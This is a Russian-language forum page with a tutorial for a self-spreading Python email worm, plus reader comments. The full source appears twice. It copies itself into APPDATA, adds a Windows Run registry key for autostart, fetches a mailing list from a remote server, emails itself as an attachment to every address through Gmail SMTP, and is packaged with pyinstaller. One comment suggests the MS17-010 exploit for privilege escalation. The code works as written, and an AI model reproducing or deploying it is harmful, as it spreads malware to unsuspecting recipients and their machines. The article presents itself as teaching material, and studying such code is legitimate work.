Хранить логин-пароль от почты в черве - так-себе идея 
Ну и ошибки не обрабатываются от слова "совсем".
Ну и ошибки не обрабатываются от слова "совсем".
Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
илиpip install 'название модуля'
pip3 install 'название модуля'
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
# если директории не существует - создать и скопировать туда нашего червя
os.makedirs(dir) # создание директории в appdata
shutil.copy(__file__, path) # копирование программы
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями "instruction.txt", который и стягивает наш червь.sudo python -m SimpleHTTPServer 80
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
# читаем файл с email-адресами, для рассылки построчно
if mail != None:
FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm' # тема письма
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'паорль от своей почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, sys
import shutil
import requests
from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.application import MIMEApplication
def main():
# Создаем клона
dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы
path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем
if not os.path.exists(dir):
os.makedirs(dir)
shutil.copy(__file__, path)
# прописываем в автозапуск, через реестр
reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
SetValueEx(reestr_path, 'worm', 0, REG_SZ, path)
CloseKey(reestr_path)
# Тригирим канарейку
requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html')
# получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки)
instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера
with open('instruction.txt', 'wb') as f:
shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции
Execute() # выполняем зловредные действия
SendMail(path) # начинаем процесс самовоспроизведения и распространения
def Execute():
"""Функция для выполненя зловредных действий"""
with open('README.txt', 'w', encoding='utf-8') as f:
f.write('Belligerent worm in action')
def SendMail(path):
"""Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции"""
# подготовка данных писма
with open('instruction.txt', 'r') as f:
for mail in f:
if mail != None:
FROM = "forwormpost@gmail.com"
TO = mail
msg = MIMEMultipart()
msg['From'] = FROM
msg['To'] = TO
msg['Subject'] = 'worm'
# вложение файла
with open(path, 'rb') as f:
part = MIMEApplication(f.read(), Name=os.path.basename(path))
part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path)
msg.attach(part)
# Отправка письма
smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587)
smtpOBJ.starttls()
smtpOBJ.login(FROM, 'пароль от почты')
smtpOBJ.sendmail(FROM, TO, msg.as_string())
smtpOBJ.quit()
if __name__ == "__main__":
main()
pyinstaller --onefile --icon='иконка приложения.ico' 'название программы'Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Согласен, но тут цель не рабочего зловреда написать, а просто изучить принцип работы на примере, как и написано в статье, поэтому считаю, что такие недочеты вполне могут существовать в этом конкретном примере)Хранить логин-пароль от почты в черве - так-себе идея
Ну и ошибки не обрабатываются от слова "совсем".
На счет простоты зловреда, я бы не стал так утверждать.Спасибо за статью. Полезно знать логику работы даже таких простых зловредов.
Не стану оспаривать. В ремесле вирмейкинга я профан. Но на мой взгляд строение этого зловреда довольно простоеНа счет простоты зловреда, я бы не стал так утверждать.
Строение, может быть и простое, тоже не буду спорить не писал, хотя хотел в качестве эксперимента написать, но не будем забывать о шифрование и сокрытии самого вируса в системе, да и ещё о его быстром распространение в сети. И не только сети глобальной, но и локальной (если в таковую попадает).Не стану оспаривать. В ремесле вирмейкинга я профан. Но на мой взгляд строение этого зловреда довольно простое
Солидарен, если автор написал всё простым языком то это не значит что все черви простые зловреды. Например тот же myDoom и т.д и т.п.На счет простоты зловреда, я бы не стал так утверждать.
Интересно. То-есть, получается строение на разных языках может отличаться?Солидарен, если автор написал всё простым языком то это не значит что все черви простые зловреды. Например тот же myDoom и т.д и т.п.
Интересно. То-есть, получается строение на разных языках может отличаться?
Благодарю за ответ!Строение и в одном языке может отличаться, а сложность программы быть совершенно на разных уровнях. В этой статье, для понимания, все описано просто и сама программа ничего сложного не делает, даже, как заметили выше, не обрабатывает исключения и ошибки. Реальный репликатор может быть очень сильно замудрен, а код может превышать несколько сотен строк. По сути, все ограничивается лишь вашим воображением.
в терии должно запуститься, т.к. такие вирусы нацелены на юзаков, но есть несколько моментов при которых может и не получиться, один из них - это запрет на активацию не известных файлов обычным юзером, еще есть проверка в браузерах на наличие вредоносов.Пока что я новичок в этой теме. У меня такой вопрос (может показаться глупым). А если у меня есть пользователь (не админ). Получиться ли у меня запустить эту программу на нем?
Зависит от установленных разрешений для пользователя. Если это пользователь в какой-нибудь нормальной организации, то, скорее всего все разграничения настроены. Можете попробовать запустить виртуальную машину и создать пользователя не админа (не настраивая толком). Скорее всего не удастся перезаписать реестр, а создание копии червя будет возможно, только в доступном для записи пользюком месте. Получится ли стянуть сохраненные пароли - тоже маловероятно. Ну, а, связь с атакующей машиной зависит от настроек сети. Если пропустит фаерволл, то возможно.Пока что я новичок в этой теме. У меня такой вопрос (может показаться глупым). А если у меня есть пользователь (не админ). Получиться ли у меня запустить эту программу на нем?
Для таких целей встраивается что-то типо MS17-010 на повершелле и им уже повышаются привилегии в системе.Пока что я новичок в этой теме. У меня такой вопрос (может показаться глупым). А если у меня есть пользователь (не админ). Получиться ли у меня запустить эту программу на нем?
Комментарии
24